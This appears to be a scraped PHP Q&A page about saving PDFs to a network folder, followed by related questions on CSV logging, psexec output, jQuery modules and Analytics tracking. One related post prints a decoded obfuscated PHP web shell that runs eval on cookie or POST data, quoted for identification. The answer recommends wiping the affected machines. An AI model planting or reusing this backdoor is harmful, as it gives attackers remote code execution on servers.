Saving File to Folder using PHP - php

Few examples I've tried
// Worked
fopen($OutputFolderPath."Text.pdf", "w");
// Didn't work
$pdf->Output($OutputFolderPath . $Mother->PatientTableRecord['Forename'] . ' ' . $Mother->PatientTableRecord['Surname'] . '_' . $Mother->PatientTableRecord['NHSID'] . ' ' . date('d_m_Y') . '.pdf','F'); // $OutputFolderPath . $Mother->PatientTableRecord['Forename'] . ' ' . $Mother->PatientTableRecord['Surname'] . ' ' . date('d_m_Y h_i_s', time()) . '.pdf','F'
// Works with no PDF content inside
fopen($OutputFolderPath . $Mother->PatientTableRecord['Forename'] . ' ' . $Mother->PatientTableRecord['Surname'] . '_' . $Mother->PatientTableRecord['NHSID'] . ' ' . date('d_m_Y') . '.pdf','F'); // $OutputFolderPath . $Mother->PatientTableRecord['Forename'] . ' ' . $Mother->PatientTableRecord['Surname'] . ' ' . date('d_m_Y h_i_s', time()) . '.pdf','w');
// Worked
$pdf->Output('C:/ISOSEC/PDFS/' . ReplaceWindowsFileNameSpecialCharacters($Mother->PatientTableRecord['Forename'] . ' ' . $Mother->PatientTableRecord['Surname'] . '_' . $Mother->PatientTableRecord['NHSID'] . ' ' . date('d_m_Y') . '.pdf'),'F'); // $OutputFolderPath . $Mother->PatientTableRecord['Forename'] . ' ' . $Mother->PatientTableRecord['Surname'] . ' ' . date('d_m_Y h_i_s', time()) . '.pdf','F'
I'm trying to use the $OutputFolderPath
'$OutputFolderPath' Path:
//MIA-Test/htdocs/SharedFolder/MIA - Digital Post Natal Records/
Error:
fopen(file:////MIA-Test/htdocs/SharedFolder/MIA - Digital Post Natal Records/Fiona Appleton_1946546288 09_06_2015.pdf): failed to open stream: No such file or directory

Use this :
$a = file_get_contents('Text.pdf');
file_put_contents('new_text.pdf', $a);

Related

Suspiciously looking files suddenly appeared on FTP server

For a customer I am maintaining a small group of websites built in PHP Laravel. Lately while working on these I have discovered a couple of new suspicious looking files, which suddenly appeared on two of the websites FTP servers. The files are not originally a part of the codebase, and I have no idea where they're coming from all of a sudden. There are three files in total, named b3lo5x3x.php, cache.php and plugin.php and they are located in the root directory of the websites.
The content of the files looks pretty disturbing. When decoded on unphp.net I get the following result, which is the exact same for all three files. The size of all three files are also the same.
<?php
$hguenpg = '8v7n\'kadeH62ycg_ti9pm1-fsb0#rxlu4*o';
$fvgiv = Array();
$fvgiv[] = $hguenpg[18] . $hguenpg[11] . $hguenpg[0] . $hguenpg[0] . $hguenpg[26] . $hguenpg[11] . $hguenpg[21] . $hguenpg[0] . $hguenpg[22] . $hguenpg[10] . $hguenpg[7] . $hguenpg[13] . $hguenpg[11] . $hguenpg[22] . $hguenpg[32] . $hguenpg[6] . $hguenpg[23] . $hguenpg[8] . $hguenpg[22] . $hguenpg[0] . $hguenpg[32] . $hguenpg[6] . $hguenpg[25] . $hguenpg[22] . $hguenpg[13] . $hguenpg[32] . $hguenpg[7] . $hguenpg[21] . $hguenpg[18] . $hguenpg[11] . $hguenpg[25] . $hguenpg[2] . $hguenpg[7] . $hguenpg[0] . $hguenpg[23] . $hguenpg[2];
$fvgiv[] = $hguenpg[9] . $hguenpg[33];
$fvgiv[] = $hguenpg[27];
$fvgiv[] = $hguenpg[13] . $hguenpg[34] . $hguenpg[31] . $hguenpg[3] . $hguenpg[16];
$fvgiv[] = $hguenpg[24] . $hguenpg[16] . $hguenpg[28] . $hguenpg[15] . $hguenpg[28] . $hguenpg[8] . $hguenpg[19] . $hguenpg[8] . $hguenpg[6] . $hguenpg[16];
$fvgiv[] = $hguenpg[8] . $hguenpg[29] . $hguenpg[19] . $hguenpg[30] . $hguenpg[34] . $hguenpg[7] . $hguenpg[8];
$fvgiv[] = $hguenpg[24] . $hguenpg[31] . $hguenpg[25] . $hguenpg[24] . $hguenpg[16] . $hguenpg[28];
$fvgiv[] = $hguenpg[6] . $hguenpg[28] . $hguenpg[28] . $hguenpg[6] . $hguenpg[12] . $hguenpg[15] . $hguenpg[20] . $hguenpg[8] . $hguenpg[28] . $hguenpg[14] . $hguenpg[8];
$fvgiv[] = $hguenpg[24] . $hguenpg[16] . $hguenpg[28] . $hguenpg[30] . $hguenpg[8] . $hguenpg[3];
$fvgiv[] = $hguenpg[19] . $hguenpg[6] . $hguenpg[13] . $hguenpg[5];
foreach ($fvgiv[7]($_COOKIE, $_POST) as $lfpfzw => $wqudv) {
function dgubnv($fvgiv, $lfpfzw, $nclll) {
return $fvgiv[6]($fvgiv[4]($lfpfzw . $fvgiv[0], ($nclll / $fvgiv[8]($lfpfzw)) + 1), 0, $nclll);
}
function oocfo($fvgiv, $elasr) {
return #$fvgiv[9]($fvgiv[1], $elasr);
}
function yiugt($fvgiv, $elasr) {
$vezpr = $fvgiv[3]($elasr) % 3;
if (!$vezpr) {
eval($elasr[1]($elasr[2]));
exit();
}
}
$wqudv = oocfo($fvgiv, $wqudv);
yiugt($fvgiv, $fvgiv[5]($fvgiv[2], $wqudv ^ dgubnv($fvgiv, $lfpfzw, $fvgiv[8]($wqudv))));
} ?>
Does anyone know what this can be? Can it be that the FTP servers are infected with some kind of malware or hacking tools?
Wipe the machines affected completely. You need to reinstall the Laravel project(s) to a new clean machine. You also should audit them and any other software used if possible.
Make sure that all of the software on the server is updated too. Most likely you were compromised through a non updated software with a known vulnerability.

Adjusting header in CSV file

I have a log routine on my PHP website, that puts data on daily CSV files. Here's the code:
public function generateLogPMWeb($action){
session_start('usuario');
$head_data = "HOSPEDE_CODIGO" . ";" . "RESERVA_CODIGO" . ";" . "HOSPEDE_NOME" . ";" . "HOSPEDE_SOBRENOME" . ";" . "HOSPEDE_EMAIL" . ";" . "RESERVA_DESCRICAOSISTEMA" . ";" . "RESERVA_CODIGOLOCALIZADOR" . ";" . "RESERVA_CODIGOHOTEL" . ";" . "RESERVA_DATARESERVA" . ";" . "RESERVA_DATACHECKIN" . ";" . "RESERVA_DATACHECKOUT" . ";" . "ACAO" . ";\n";
file_put_contents(Config::retorna("document_root", "root").'/logPMWeb/logPMWeb_'.date("Ymd").'.csv', $head_data, FILE_APPEND); // MUDAR AQUI
$logPMWeb = $_SESSION['usuario']['id'] . ";" . date('YmdHis') . "_" . $_POST['idHotel'] . "_" . $_SESSION['usuario']['id'] . ";" . $_SESSION['usuario']['nome'] . ";" . $_SESSION['usuario']['sobrenome'] . ";" . $_SESSION['usuario']['email'] . ";" . "IC"
. ";" . date('YmdHis') . "_" . $_POST['idHotel'] . "_" . $_SESSION['usuario']['id'] . ";" . $_POST['idHotel'] . ";" . date('Y-m-d H:i:s') . ";" . $_SESSION['buscaReserva']['dataInicio'] . ";" . $_SESSION['buscaReserva']['dataFim']
. ";" . preg_replace('/^\s+|\n|\r|\s+$/m', '', $action) . ";\n";
//Save string to log, use FILE_APPEND to append.
file_put_contents(Config::retorna("document_root", "root").'/logPMWeb/logPMWeb_'.date("Ymd").'.csv', $logPMWeb, FILE_APPEND);
}
However I'm getting repeated header lines on my CSV files. I need to have the header only on the first line of the file.
What's the best thing to do?
Use file_exists like below... http://php.net/manual/en/function.file-exists.php
public function generateLogPMWeb($action){
session_start('usuario');
$logfile = Config::retorna("document_root", "root").'/logPMWeb/logPMWeb_'.date("Ymd").'.csv'
$head_data = "HOSPEDE_CODIGO" . ";" . "RESERVA_CODIGO" . ";" . "HOSPEDE_NOME" . ";" . "HOSPEDE_SOBRENOME" . ";" . "HOSPEDE_EMAIL" . ";" . "RESERVA_DESCRICAOSISTEMA" . ";" . "RESERVA_CODIGOLOCALIZADOR" . ";" . "RESERVA_CODIGOHOTEL" . ";" . "RESERVA_DATARESERVA" . ";" . "RESERVA_DATACHECKIN" . ";" . "RESERVA_DATACHECKOUT" . ";" . "ACAO" . ";\n";
if (!file_exists($logfile)) {
file_put_contents($logfile, $head_data, FILE_APPEND); // MUDAR AQUI
}
$logPMWeb = $_SESSION['usuario']['id'] . ";" . date('YmdHis') . "_" . $_POST['idHotel'] . "_" . $_SESSION['usuario']['id'] . ";" . $_SESSION['usuario']['nome'] . ";" . $_SESSION['usuario']['sobrenome'] . ";" . $_SESSION['usuario']['email'] . ";" . "IC"
. ";" . date('YmdHis') . "_" . $_POST['idHotel'] . "_" . $_SESSION['usuario']['id'] . ";" . $_POST['idHotel'] . ";" . date('Y-m-d H:i:s') . ";" . $_SESSION['buscaReserva']['dataInicio'] . ";" . $_SESSION['buscaReserva']['dataFim']
. ";" . preg_replace('/^\s+|\n|\r|\s+$/m', '', $action) . ";\n";
//Save string to log, use FILE_APPEND to append.
file_put_contents($logfile, $logPMWeb, FILE_APPEND);
}

PHP not reading psexec output

The problem is simple. Running a php file in browser vs command line produces very different results and I can't for the life of me figure out why. Any php/psexec experts out there run into this before?
<?php
echo '<pre>';
$output = shell_exec("psexec -accepteula \\\mypcname -u mypcname\\accountname -p xxxxxxx ipconfig /all 2>&1");
var_dump($output);
echo '</pre>';
Produces this output in a browser window...
string(350) "
PsExec v2.11 - Execute processes remotely
Copyright (C) 2001-2014 Mark Russinovich
Sysinternals - www.sysinternals.com
Windows IP Configuration
Connecting to admin-pc...
Starting PSEXESVC service on admin-pc...
Connecting with PsExec service on admin-pc...
Starting ipconfig on admin-pc...
ipconfig exited on admin-pc with error code 0.
Instead of this, which is the output I get when running the same php file via command line.
C:\MAMP\bin\php\php5.5.12>php-cgi c:\mamp\htdocs\go.php
X-Powered-By: PHP/5.5.12
Content-type: text/html
hi<pre>string(5113) "
PsExec v2.11 - Execute processes remotely
Copyright (C) 2001-2014 Mark Russinovich
Sysinternals - www.sysinternals.com
Windows IP Configuration
Host Name . . . . . . . . . . . . : mypcname
Primary Dns Suffix . . . . . . . :
Node Type . . . . . . . . . . . . : Hybrid
IP Routing Enabled. . . . . . . . : No
WINS Proxy Enabled. . . . . . . . : No
DNS Suffix Search List. . . . . . : home
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix . : home
Description . . . . . . . . . . . : Intel(R) 82567LM-2 Gigabit Network Connec
tion
Physical Address. . . . . . . . . : xx-xx-xx-xx-xx-xx
DHCP Enabled. . . . . . . . . . . : Yes
Autoconfiguration Enabled . . . . : Yes
IPv4 Address. . . . . . . . . . . : 192.168.1.4(Preferred)
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Lease Obtained. . . . . . . . . . : Thursday, October 09, 2014 4:36:43 PM
Lease Expires . . . . . . . . . . : Tuesday, October 14, 2014 4:16:04 PM
Default Gateway . . . . . . . . . : 192.168.1.1
DHCP Server . . . . . . . . . . . : 192.168.1.1
DNS Servers . . . . . . . . . . . : 8.8.8.8
8.8.4.4
NetBIOS over Tcpip. . . . . . . . : Enabled
"
</pre>
C:\MAMP\bin\php\php5.5.12>

stuck with loading jquery on the bottom of my page in php

I'm fighting with this module since yesterday. Documentation is poor or there is something I am doing wrong.
This is the link from the original html files.
www.bestbuildpc.org/Html5_Player/index.html
This is the link for the documentation
www.bestbuildpc.org/Html5_Player/readme/index.html
I converted to a module in order to work in Ravennuke(based on phpnuke)
This is the link where the module is not loading properly.
http://www.bestbuildpc.org/modules.php?name=HTML5_Player
<?php
if (!defined('MODULE_FILE')) die('You can\'t access this file directly...');
if (!defined('PHP_EOL')) define('PHP_EOL', strtoupper(substr(PHP_OS,0,3) == 'WIN') ? "\r\n" : "\n");
require_once 'mainfile.php';
$module_name = basename(dirname(__FILE__));
$pagetitle = '- ' . $module_name . '';
$index = 0;
if (!defined('INDEX_FILE')) define('INDEX_FILE', true); // Set to FALSE to hide right blocks
if (defined('INDEX_FILE') AND INDEX_FILE === true) {
// auto set right blocks for pre patch 3.1 compatibility
$index = 1;
}
$ThemeSel = get_theme(true);
$html5player = 'themes/' . $ThemeSel . '/css/normalize.css';
if (file_exists($html5player)) {
define('RN_MODULE_CSS', 'normalize.css');
} else {
$html5player = 'modules/' . $module_name . '/css/normalize.css';
addCSSToHead($html5player, 'file');
addCSSToHead('modules/' . $module_name . '/mediaelement/mediaelementplayer.min.css', 'file');
// addJSToHead('modules/' . $module_name . '/js/jquery-1.11.1.min.js', 'file');//I have another version loading
//echo '<script type="text/javascript">!window.jQuery && document.write(\'<script src="modules/HTML5_Player/js/jquery-1.11.1.min.js"><\/script>\')</script>' . PHP_EOL;
//echo '<script type="text/javascript">window.jQuery && document.write(\'<script src="includes/jquery/jquery.js"><\/script>\')</script>' . PHP_EOL;
addJSToBody('modules/' . $module_name . '/mediaelement/mediaelement-and-player.min.js', 'file');
addJSToBody('modules/' . $module_name . '/js/jquery-ui-1.11.1.sortable.min.js', 'file');
addJSToBody('modules/' . $module_name . '/js/jquery.ui.touch-punch-improved.js', 'file');
addJSToBody('modules/' . $module_name . '/js/jquery.hammer-full.min.js', 'file');
addJSToBody('modules/' . $module_name . '/js/perfect-scrollbar-with-mousewheel.min.js', 'file');
addJSToBody('modules/' . $module_name . '/js/jquery.vimuse.min.js', 'file');
$JStoHeadHTML = '
<script type="text/javascript">' . PHP_EOL
// . '$(window).load(function(){' . PHP_EOL
. '$(document).ready(function(){' . PHP_EOL
. '$(\'#player\').vimuse()({' . PHP_EOL
. 'mediaType: \'audio\',' . PHP_EOL
. 'showPlaylistOnLoad: true,' . PHP_EOL
. 'autoplay: true,' . PHP_EOL
. 'shuffle: true,' . PHP_EOL
. 'showPlaylistOnLoad: true,' . PHP_EOL
. 'playlistProgress: true,' . PHP_EOL
. 'showFileTypeIcons: true,' . PHP_EOL
. 'showDeleteButtons: true,' . PHP_EOL
. 'showItemDuration: true,' . PHP_EOL
. 'enablePlaylistSort: true,' . PHP_EOL
. 'showAudioDetails: true,' . PHP_EOL
. 'showAudioCover: true,' . PHP_EOL
. 'showAuxControls: true,' . PHP_EOL
. 'playlistProgress: true,' . PHP_EOL
. 'stopPlaybackOnPageHide: false,' . PHP_EOL
. 'showDownloadLinks: false,' . PHP_EOL
. 'scanMP3Folder: true,' . PHP_EOL
. 'mp3Folder: \'media/audio\'' . PHP_EOL
. '});' . PHP_EOL
. '});' . PHP_EOL
. '</script>' . PHP_EOL;
addJSToBody($JStoHeadHTML, 'inline');
}
include_once 'header.php';
OpenTable();
echo '<div class="text-center">' , PHP_EOL
, '<div class="header-content">' , PHP_EOL
, '<h1>HTML5 Media Player</h1>' , PHP_EOL
, '</div></div>' , PHP_EOL
, '<div class="main">' , PHP_EOL
, '<div id="player">' , PHP_EOL
, '</div></div>' , PHP_EOL;
CloseTable();
include_once 'footer.php';
What am I doing wroong. The module is not working. I need example from the same files. I've been reading and testing lots of ways to load jquery but I don't get any more idea of what is going on. it will be nice if someone take a look at it. Thanks in advance.

Send values to Google Analytics via PHP script

I am using the following script to send data from a form to google analytics:
if ($result){
$var_utmac = 'UA-0000000-0';
$var_utmhn = 'my-site.com'; // domain
$var_utmn = rand(1000000000,9999999999); // random number
$var_cookie = rand(10000000,99999999); //random cookie number
$var_random = rand(1000000000,2147483647); //number under 2147483647
$var_today = time();
$var_referer = $_SERVER['HTTP_REFERER']; //referer url
if ($var_referer == '') { $var_referer = '-'; }
$var_uservar='-'; // no user-defined
$var_utmp= $_POST['REQUEST_URI'].'data_'. htmlentities($_POST['dataone']).'_'.htmlentities($_POST['datatwo']); // folder called no_jstracker to segment nojavascript visitors
$urchinUrl='http://www.google-analytics.com/__utm.gif?utmwv=3&utmn=' . $var_utmn . '&utme=&utmcs=-&utmsr=-&utmsc=-&utmul=-&utmje=0&utmfl=-&utmdt=-&utmhn=' . $var_utmhn . '&utmhid=' . $var_utmn . '&utmr=' . $var_referer . '&utmp=' . $var_utmp . '&utmac=' . $var_utmac . '&utmcc=__utma%3D' . $var_cookie . '.' . $var_random . '.' . $var_today . '.' . $var_today . '.' . $var_today . '.2%3B%2B__utmz%3D' . $var_cookie . '.' . $var_today . '.2.2.utmcsr%3D_SOURCE_%7Cutmccn%3D_CAMPAIGN_%7Cutmcmd%3D_MEDIUM_%7Cutmctr%3D_KEYWORD_%7Cutmcct%3D_CONTENT_%3B%2B__utmv%3D' . $var_cookie . '.' . $var_uservar . '%3B';
echo ' <img src="' . $urchinUrl . '" border="0" />';
}
While the data is being sent successfully there is one issue and that is that analytics doesn't show some of the data correctly i.e. for campaign data ist just shoes "CAMPAIGN" for keyword it shows "KEYWORD". It is clear where this happens in the script but am not sure how to fix it. Ideally of course analytics should populate that with its own data.
Any suggestions whether this is even possible?
i think this is happen because you hard coded "CAMPAIGN" value. instead of that assign value for campaign.
$CAMPAIGN='facebook';
$KEYWORD='testing';
$urchinUrl='http://www.google-analytics.com/__utm.gif?utmwv=3&utmn=' . $var_utmn . '&utme=&utmcs=-&utmsr=-&utmsc=-&utmul=-&utmje=0&utmfl=-&utmdt=-&utmhn=' . $var_utmhn . '&utmhid=' . $var_utmn . '&utmr=' . $var_referer . '&utmp=' . $var_utmp . '&utmac=' . $var_utmac . '&utmcc=__utma%3D' . $var_cookie . '.' . $var_random . '.' . $var_today . '.' . $var_today . '.' . $var_today . '.2%3B%2B__utmz%3D' . $var_cookie . '.' . $var_today . '.2.2.utmcsr%3D_SOURCE_%7Cutmccn%3D'.$CAMPAIGN.'%7Cutmcmd%3D_MEDIUM_%7Cutmctr%3D'.$KEYWORD.'%7Cutmcct%3D_CONTENT_%3B%2B__utmv%3D' . $var_cookie . '.' . $var_uservar . '%3B';
for more details about Google Analytics Cookies

Categories